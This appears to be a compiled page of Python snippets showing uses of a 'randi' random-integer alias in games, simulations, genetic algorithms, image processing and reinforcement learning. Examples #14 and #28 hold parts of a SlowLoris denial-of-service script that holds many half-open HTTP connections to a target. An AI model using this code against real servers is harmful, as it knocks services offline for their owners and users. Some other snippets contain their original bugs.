Example #1
0
def generate_task(m, n, c, a):
    c = [randi(1, 10) for i in range(n)]
    a = [[]] * m
    for i in range(len(a)):
        a[i] = [randi(1, 10) for i in range(n)]
    b = [round(sum(_a) / 3, 1) for _a in a]
    return (c, a, b)
Example #2
0
def gen_query(n, q):
    qList = []
    for i in range(q):
        mode = randi(1, 2)
        u, v = randi(1, n), randi(1, n)
        qList.append((mode, u, v))
    return qList
def takeNaiveMove():
	""" Returns a tile number randomly from the set of unchecked tiles with uniform probability distribution.    
	"""
	mv=randi(1,9)
	while(validmove(mv)==False):
		mv=randi(1,9)
	return mv
Example #4
0
def gen_tree(n):
    edges = []

    for i in range(2, n + 1):
        edges.append((i, randi(1, i - 1), randi(1, max_capacity)))

    shuffle(edges)

    return edges
def RNG(guess1, guess2, guess3):
    count = 0
    if guess1 == randi(1, 6):
        count += 1
    if guess2 == randi(1, 6):
        count += 1
    if guess3 == randi(1, 6):
        count += 1
    print("You got ", count, "guess(es) right")
Example #6
0
 def make_food(self):
     food_in_snake = True
     while food_in_snake:
         self.food = [
             randi(0,
                   (self.board_size / self.cell_size) - 1) * self.cell_size,
             randi(0,
                   (self.board_size / self.cell_size) - 1) * self.cell_size
         ]
         if self.food not in self.cells:
             food_in_snake = False
     return pygame.draw.rect(
         self.game_window, red,
         [self.food[0], self.food[1], self.cell_size, self.cell_size])
def get_centroids(centroids, n_clusters, img):

    for i in range(n_clusters):
        x = randi(0, img.shape[0] - 1)
        y = randi(0, img.shape[1] - 1)
        l = float(img[x, y, 0])
        a = float(img[x, y, 1])
        b = float(img[x, y, 2])

        centroids[i, 0] = l
        centroids[i, 1] = a
        centroids[i, 2] = b

    return centroids
Example #8
0
def randomwalk(n, size):
    pen = turtle.Turtle()
    pen.shape('turtle')
    pen.pensize(3)

    w_pos = 0
    w_edge = n // 2
    h_pos = 0
    h_edge = n // 2

    while -w_edge <= w_pos <= w_edge and -h_edge <= h_pos <= h_edge:
        where = randi(1, 4)

        if where == 1:
            pen.setheading(0)
            w_pos += 1

        elif where == 2:
            pen.setheading(90)
            h_pos += 1

        elif where == 3:
            pen.setheading(180)
            w_pos -= 1

        else:
            pen.setheading(270)
            h_pos -= 1

        pen.forward(size)
Example #9
0
def Visualize(x_train):
    for i in range(5):
        obj = x_train[randi(0, x_train.shape[0]-1)]
        Image = np.reshape(obj, (32, 32, 3))
        cv2.imwrite("./Q4-output/orig_"+str(i)+".png", Image)
        # cv2.imwrite("./Q4-output/original.png", Image)
        # fd, _ = hog(Image, orientations=8, pixels_per_cell=(4, 4), cells_per_block=(1, 1), visualize=True, multichannel=True, block_norm="L2-Hys")
        fd, hogimg = hog(Image, visualize=True, multichannel=True, block_norm="L2-Hys")
        plt.figure()
        n, bins, patches = plt.hist(x=fd, bins='auto', color='#0504aa', alpha=0.7, rwidth=0.85)
        plt.grid(axis='y', alpha=0.75)
        plt.xlabel('File Descriptor count')
        plt.ylabel('Frequency')
        plt.title('Histogram of Gradients')
        plt.savefig("./Q4-output/hoghist_"+str(i)+".png")
        cv2.imwrite("./Q4-output/hog_"+str(i)+".png", hogimg)
        Image = cv2.cvtColor(Image, cv2.COLOR_BGR2GRAY)
        lbp = local_binary_pattern(Image, 12, 3)
        # cv2.imwrite("./Q4-output/lbp1.png", lbp)
        histo, lbpigm = np.histogram(lbp.ravel(), bins=np.arange(0, 12 + 3), range=(0, 3 + 2))
        cv2.imwrite("./Q4-output/lbp_"+str(i)+".png", lbp)

        plt.figure()
        n, bins, patches = plt.hist(x=histo, bins='auto', color='#0504aa', alpha=0.7, rwidth=0.85)
        plt.grid(axis='y', alpha=0.75)
        plt.xlabel('Texture Range')
        plt.ylabel('Frequency')
        plt.title('Histogram of Texture')
        plt.savefig("./Q4-output/lbphist_"+str(i)+".png")
Example #10
0
 def distant(lst):
   R, C = np.shape(lst)
   farthest=lambda one,rest: sorted(rest, key=lambda F: aDist(F,one))[-1]
   one=lst[randi(0,R-1)]
   mid=farthest(one, lst)
   two=farthest(mid, lst)
   return one, two
Example #11
0
def create_noise_audio(audio):
    noise = noise_data[randi(0, 5)]
    if (len(audio) > len(noise)):
        noise_audio = audio[:len(noise)] + 0.1 * noise
        return noise_audio
    else:
        noise_audio = audio + 0.1 * noise[:len(audio)]
        return noise_audio
Example #12
0
    def randomPopulation(self):
        for i in range(self.N):
            for j in range(i + 1, self.N):
                z = randi(1, self.N * 10)
                self.Crr.append((i, j, z))

        print("Crr: ", self.Crr)
        self.ShowGraph(self.G, self.Crr)
Example #13
0
 def distant(lst):
     R, C = np.shape(lst)
     farthest = lambda one, rest: sorted(rest, key=lambda F: aDist(F, one))[
         -1]
     one = lst[randi(0, R - 1)]
     mid = farthest(one, lst)
     two = farthest(mid, lst)
     return one, two
Example #14
0
def init_socket(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(4)
    s.connect((ip, args.p))

    s.send("GET /?{} HTTP/1.1\r\n".format(randi(0, 2000)).encode("utf-8"))
    s.send("User-Agent: {}\r\n".format(choice(user_agent)).encode("utf-8"))
    s.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))
    return s
def SaltAndPepperNoise(image, Percentage):
    Pixels = (image.shape[0] * image.shape[1] * Percentage) // 100
    # print(Pixels, image.shape[0]*image.shape[1])
    pairs = []
    i = 0
    Result = np.copy(image)

    while i < Pixels:
        x = randi(0, image.shape[0] - 1)
        y = randi(0, image.shape[1] - 1)
        z = randi(0, 255)
        if (x, y) not in pairs:
            Result[x, y] = z
            pairs.append((x, y))
        else:
            continue
        i += 1
    return Result
Example #16
0
def gen_fake_expert_traj(grid,
                         value_func,
                         no_of_fake_traj,
                         add_state_itself=0,
                         traj_length_limits=(100, 100)):
    from random import randint as randi
    import operator
    all_traj = []

    for traj_idx in range(no_of_fake_traj):
        # starting point of each trajectory is random
        curr_point = (randi(0, grid.grid_dims['rows'] - 1),
                      randi(0, grid.grid_dims['cols'] - 1))
        # length of traj is random, between the limits specified in the argument traj_length_limits
        traj_length = randi(traj_length_limits[0], traj_length_limits[1])
        curr_traj = []

        # we keep on appending the next point with highest value amongst it's neighbours
        # TODO this might lead to stupid trajectories that keep on looping
        for pt_idx in range(traj_length):
            curr_traj.append(curr_point)
            # get the neighbours of curr_point
            successor_states = grid.get_children(curr_point)
            # add curr point to stop
            if add_state_itself:
                successor_states.append(curr_point)
            # get value for each neighbouring states
            successor_values = map(lambda x: grid.get_reward_at_point(x),
                                   successor_states)
            # find max value. not we need the index of the neifghbouring states
            max_index, max_value = max(enumerate(successor_values),
                                       key=operator.itemgetter(1))
            # print "successor_values", successor_values
            # print "max_index", max_index, "max_value", max_value, "\n"
            curr_point = successor_states[max_index]
            successor_states, successor_values, max_value, max_index = (
                [] for i in range(4))

            # print curr_point, max_value

        all_traj.append(curr_traj)

    return all_traj
Example #17
0
def GenCoinToss(n):
    s = ''
    for k in range(n):
        i = randi(0, 1)
        if i == 0:
            s = s + 'H'
        else:
            s += 'T'

    return s
Example #18
0
def RandString(m):
    """ Returns a length-m string consisting of
    lower case letters.
    
    PreC: m is a positive integer.
    """
    letters = 'abcdefghijklmnopqrstuvwxyz'
    w = ''
    for i in range(m):
        w = w + letters[randi(0,25)]
    return w
Example #19
0
    def init_field(self):
        field = matrix(EMPTINESS, self.width, self.height)
        self.image = matrix(EMPTINESS, self.width, self.height)

        free_space = [[i, j] for i in range(self.width)
                      for j in range(self.height)]

        tmp_counter = self.humans_count

        self.humans = []

        for party in range(self.parties):
            count = int(
                clamp(
                    math.ceil(self.parties_data[party]['fraction'] *
                              self.humans_count), 0, tmp_counter))
            self.party_counts.append(count)

            tmp_counter -= count

            for humans in range(count):
                [x, y] = free_space.pop(randi(0, len(free_space) - 1))

                human = {
                    'party':
                    party + 1,
                    'influence':
                    inverse_power(self.alpha_influence, random.random()),
                    #	'conviction': inverse_power(self.alpha_conviction, random.random()),
                    'conviction':
                    inverse_norm(self.mean_conviction, self.stdev_conviction,
                                 random.random()),
                    'position': [x, y]
                }

                self.humans.append(human)
                field[y][x] = human
                self.image[y][x] = party + 1

            for human in self.humans:
                [x, y] = human['position']
                minx = max(x - self.r, 0)
                maxx = min(x + self.r + 1, len(field[0]))
                miny = max(y - self.r, 0)
                maxy = min(y + self.r + 1, len(field))
                human['neighbourhood'] = []

                for j in range(miny, maxy):
                    for i in range(minx, maxx):
                        neighbour = field[j][i]
                        if neighbour and not (x == i and y == j):
                            human['neighbourhood'].append(neighbour)
Example #20
0
    def new_stone(self):

        shape = tetris_shapes[randi(0, 6)]
        pos   = Position(2,  0)
        dir   = Direction(0, 0, 0)

        if self.check_collision(shape, pos, dir):
            self.game_over = True
            return

        self.stone = shape
        self.stone_pos = pos
        self.stone_dir = dir
Example #21
0
 def __init__(self):
     self.width  = WIDTH
     self.height = HEIGHT
     self.speed  = SPEED
     self.cstep  = 0
     self.state  = np.zeros((self.height, self.width), np.uint8)
     self.nomove = False
     self.reward = 0
     self.points = 0
     self.tmppts = 0
     self.stone  = tetris_shapes[randi(0, 6)]
     self.stone_pos = Position(math.ceil(self.width/2) - 2,  0)
     self.stone_dir = Direction(0, 0, 0)
     self.game_over = False
Example #22
0
def takeNaiveMove():
    """ Returns a tile number randomly from the set of unchecked tiles with uniform probability distribution.    
	"""
    from random import randint as randi
    import tile
    try:
        s = randi(1, 9)
        if validmove(s):
            if s == 1:
                tile.tile1 = tile.turn
                return True
                #win()
            elif s == 2:
                tile.tile2 = tile.turn
                return True
                #win()
            elif s == 3:
                tile.tile3 = tile.turn
                return True
                #win()
            elif s == 4:
                tile.tile4 = tile.turn
                return True
                #win()
            elif s == 5:
                tile.tile5 = tile.turn
                return True
                #win()
            elif s == 6:
                tile.tile6 = tile.turn
                return True
                #win()
            elif s == 7:
                tile.tile7 = tile.turn
                return True
                #win()
            elif s == 8:
                tile.tile8 = tile.turn
                return True
                #win()
            elif s == 9:
                return True
                tile.tile9 = tile.turn
                #win()
        else:
            return False
            #takeNaiveMove()
    except RecursionError:
        pass
Example #23
0
    def getSequence(self):
        states = []
        rewards = []

        curState = 2

        while (curState != 5) and (curState != -1):
            nextState = curState - 1 if randi(1, 2) == 1 else curState + 1
            curReward = 1 if (nextState == 5) else 0
            states.append(curState)
            rewards.append(curReward)
            curState = nextState

        assert (len(rewards) == len(states))
        return states, rewards
Example #24
0
    def Jumble(self):
        newGenes = []
        for i in range(len(self.Genes)):
            opt = randi(0, 2)
            if (opt == 0):
                newGenes.append(
                    Gene(self.Genes[i].Course, self.Genes[i].Professor,
                         randi(0, 1), self.Genes[i].Day, self.Genes[i].Slot))
            elif (opt == 1):
                newGenes.append(
                    Gene(self.Genes[i].Course, self.Genes[i].Professor,
                         self.Genes[i].Room, randi(0, 4), self.Genes[i].Slot))
            else:
                newGenes.append(
                    Gene(self.Genes[i].Course, self.Genes[i].Professor,
                         self.Genes[i].Room, self.Genes[i].Day, randi(0, 7)))

            # if ( Genes[i].Room == 0 ):
            #     newGenes.append(Gene(Genes[i].Course, Genes[i].Professor, 1, randi(0, 4), randi(0, 7)))
            # else:
            #     newGenes.append(Gene(Genes[i].Course, Genes[i].Professor, 0, randi(0, 4), randi(0, 7)))
        ch = Chromosome(newGenes, self.RoomCount, self.DaysCount,
                        self.TimeSlotsCount)
        return ch
Example #25
0
    def recurse(dataset):
        R, C = np.shape(dataset)  # No. of Rows and Col
        # Find the two most distance points.
        one = dataset[randi(0, R - 1)]
        mid = farthest(one, dataset)
        two = farthest(mid, dataset)

        # Project each case on
        def proj(test):
            a = aDist(one, test)
            b = aDist(two, test)
            c = aDist(one, two)
            return (a**2 - b**2 + c**2) / (2 * c)

        if R < np.sqrt(N):
            clusters.append(dataset)
        else:
            _ = recurse(sorted(dataset, key=lambda F: proj(F))[:int(R / 2)])
            _ = recurse(sorted(dataset, key=lambda F: proj(F))[int(R / 2):])
Example #26
0
File: where.py Project: ai-se/RAAT
  def recurse(dataset):
    R, C = np.shape(dataset) # No. of Rows and Col
    # Find the two most distance points.
    one=dataset[randi(0,R-1)]
    mid=farthest(one, dataset)
    two=farthest(mid, dataset)

    # Project each case on
    def proj(test):
      a = aDist(one, test)
      b = aDist(two, test)
      c = aDist(one, two)
      return (a**2-b**2+c**2)/(2*c)

    if R<np.sqrt(N):
      clusters.append(dataset)
    else:
      _ = recurse(sorted(dataset,key=lambda F:proj(F))[:int(R/2)])
      _ = recurse(sorted(dataset,key=lambda F:proj(F))[int(R/2):])
Example #27
0
 def localOptimisation(self, Pop):
     newPop = []
     for i in range(self.PopulationCount):
         chromo = Pop[i]
         couDay = {}
         for j in range(len(chromo.Genes)):
             if (chromo.Genes[j].Course.getCourseCode() not in couDay):
                 couDay[chromo.Genes[j].Course.getCourseCode()] = [
                     chromo.Genes[j].Day
                 ]
             else:
                 arr = couDay[chromo.Genes[j].Course.getCourseCode()]
                 if chromo.Genes[j].Day in arr:
                     ni = randi(0, 4)
                     chromo.Genes[j].Day = ni
                 else:
                     couDay[chromo.Genes[j].Course.getCourseCode()].append(
                         chromo.Genes[j].Day)
         newPop.append(chromo)
     return newPop
Example #28
0
def main():
    ip = args.target
    socket_nr = args.sockets
    logging.info("Attacking %s with %s sockets.", ip, socket_nr)

    for socketnum in range(socket_nr):
        logging.debug("Creating socket nr %s", socketnum)
        s = init_socket(ip)
        socket_list.append(s)

    while True:
        try:
            logging.info("Keeping alive sockets (Socket number: %s)",
                         len(socket_list))

            for socketi in list(socket_list):
                try:
                    socketi.send("X-a: {}\r\n".format(randi(
                        1, 5000)).encode("utf-8"))
                except socket.error:
                    socket_list.remove(socketi)

            for socketn in range(socket_nr - len(socket_list)):
                logging.debug("Recreating socket...")
                try:
                    s = init_socket(ip)
                    if s:
                        socket_list.append(socketn)
                except socket.error as e:
                    logging.debug(e)
                    break

            logging.debug("Sleeping for %d seconds", args.sleeptime)
            sleep(args.sleeptime)
        except (KeyboardInterrupt, SystemExit):
            logging.info("Stopping SlowLoris")
            break
Example #29
0
    def __iter__(self):
        if self.training is True:
            rand_perm = npr.permutation(self.seq_num)
        else:
            rand_perm = np.arange(self.seq_num)

        shuffled_seq_start_end = self.seq_start_end[rand_perm,:]        

        scale_inds = np.random.randint(
            0, high=len(cfg.TRAIN.SCALES), size=self.seq_num)
        #randomly sample from sequence.
        idx_list = []
        scale_list = []
        for idx in range(self.seq_num):
            cur_se = shuffled_seq_start_end[idx,:]
            assert(cur_se[1] > cur_se[0])
            length = cur_se[1] - cur_se[0]
            if length<self.batch_size:
                #raise ValueError('length of the sequence is shorter than self.batch_size.')
                #print(self.batch_size,'>',length)
                #raise ValueError('length of the sequence is shorter than self.batch_size, please modify batch_size to fit sequence length.')
                print('length of the sequence is shorter than self.batch_size, please modify batch_size to fit sequence length.')
                batch_size = length
            else:
                batch_size = self.batch_size
            if self.training is True:
                id_start = randi(0, length-batch_size)+int(cur_se[0])
                id_end = id_start+batch_size
            else:
                id_start = 0
                id_end = length
            assert id_start>=int(cur_se[0]) and id_end<=int(cur_se[1]), print(id_start, id_end, cur_se[:])
            idx_list.extend([id_start]*(self.batch_size-batch_size)+list(range(id_start, id_end)))
            scale_list.extend([cfg.TRAIN.SCALES[scale_inds[idx]]]*(self.batch_size))
        assert len(idx_list)==len(scale_list), print(len(idx_list), len(scale_list))
        assert len(idx_list)==self.batch_size*self.seq_num, print(len(idx_list), self.batch_size*self.seq_num)
        return iter(zip(idx_list, scale_list))
Example #30
0
 def InitialPopulation(self):
     Population = []
     for i in range(self.PopulationCount):
         arr = []
         for j in range(32):
             if (j < 16):
                 for k in range(3):
                     arr.append(
                         Gene(
                             self.Courses[j], self.Professors[int(
                                 self.Courses[j].getProfessorID())],
                             randi(0, 1), randi(0, 4), randi(0, 7)))
             else:
                 for k in range(2):
                     arr.append(
                         Gene(
                             self.Courses[j], self.Professors[int(
                                 self.Courses[j].getProfessorID())],
                             randi(0, 1), randi(0, 4), randi(0, 7)))
         Population.append(
             Chromosome(arr, self.Rooms, self.Days, len(self.TimeSlots)))
     return Population
Example #31
0
 def new(self):
   # Creates a new random instance
   return [randi(d[0], d[1]) for d in self.model.indep()]
	def draw(self):
		return min(randi(1,13), 10)	#J,Q,K are treated as face cards with value 10
	def getRandomAction(self):
		return "hit" if randi(1,2) == 1 else "stick"
a1 = rand()-.5
b1 = rand()-.5
c1 = rand()-.5
a3 = rand()-.5
b3= -rand()-.5
c3 = rand()-.5
a4 = rand()-.5
b4= -rand()-.5
c4 = rand()-.5
d4=2
num_correct=0
for j in range(0,200): # optimal net# random initial parameters
# a1 = Math.random() - 0.5; # a random number between -0.5 and 0.5
# ... similarly initialize all other parameters to randoms
  # pick a random data point
  i = randi(len(data))

  x = data[i][0];
  y = data[i][1];
  label = labels[i];

  # compute forward pass
  n1 = max(0, a1*x + b1*y + c1); # activation of 1st hidden neuron
  n2 = max(0, a2*x + b2*y + c2); # 2nd neuron
  n3 = max(0, a3*x + b3*y + c3); # 3rd neuron
  score = a4*n1 + b4*n2 + c4*n3 + d4; # the score

  error=abs(score-label)
  error2=error*error

  # // compute pull
	def generate(self):
		self.policy = PolicyGreedy()
		for gameNumber in range(self.NUM_GAMES):
			print("Running game number:", str(gameNumber + 1), "out of", self.NUM_GAMES, "\t", end="\r")
			blackjack = Blackjack()
			
			# Generate episode
			states = []
			actions = []
			rewards = [None]	# Rewards start form time step = 1. Hence insert dummy R_0

			# Exploring starts
			blackjack.forceInitialState(self.getRandomState())
			currentState = blackjack.getInitialState()
			currentAction = self.getRandomAction()
			states.append(currentState)
			actions.append(currentAction)
		
			# Generate episode
			terminal = False
			while not terminal:
				terminal, reward, nextState = blackjack.step(currentAction)
				rewards.append(reward)
				states.append(nextState)
				if(not terminal):
					nextAction = self.policy.getAction(nextState)
				else:
					nextAction = None
				actions.append(nextAction)
				currentState = nextState
				currentAction = nextAction

			assert(len(states) == len(rewards) and len(states) == len(actions))

			# Store the index of first occurance of states for first visit MC
			firstVisitIdx = {}
			time = 0
			for s, a in zip(states, actions):
				if((s,a) not in firstVisitIdx):
					firstVisitIdx[(s, a)] = time
				time += 1
				if(a != None and (s,a) not in self.totalStateActionValue):
					self.totalStateActionValue[(s,a)] = 0
					self.totalStateActionCount[(s,a)] = 0
			
			# Estimate State Action Values
			G = 0
			T = len(rewards) - 2	# Index of last timestep
			for t in range(T, -1, -1):
				G += rewards[t+1]
				St = states[t]
				At = actions[t]

				if(firstVisitIdx[(St, At)] == t):	# First Visit MC
					self.totalStateActionValue[(St, At)] += G
					self.totalStateActionCount[(St, At)] += 1

			# Take average and get Q values
			Q = {}
			for (s,a) in self.totalStateActionValue:	# Take avg
				Q[(s,a)] = self.totalStateActionValue[(s,a)] / self.totalStateActionCount[(s,a)]

			for (s,a) in Q:
				if(a == "hit"):
					if((s,"stick") in Q):	# Both actions present
						# Take argmax and break ties randomly
						if(Q[(s, "hit")] > Q[(s, "stick")]):
							self.policy.setAction(s, "hit")
						elif(Q[(s, "hit")] < Q[(s, "stick")]):
							self.policy.setAction(s, "stick")
						else:
							self.policy.setAction(s, "hit" if randi(1,2) == 1 else "stick")
					else:	# Only hit present
						self.policy.setAction(s, "hit")
				else:
					if((s,"hit") not in Q):	# Only stick present
						self.policy.setAction(s, "stick")
		self.generateStateValue()
		print()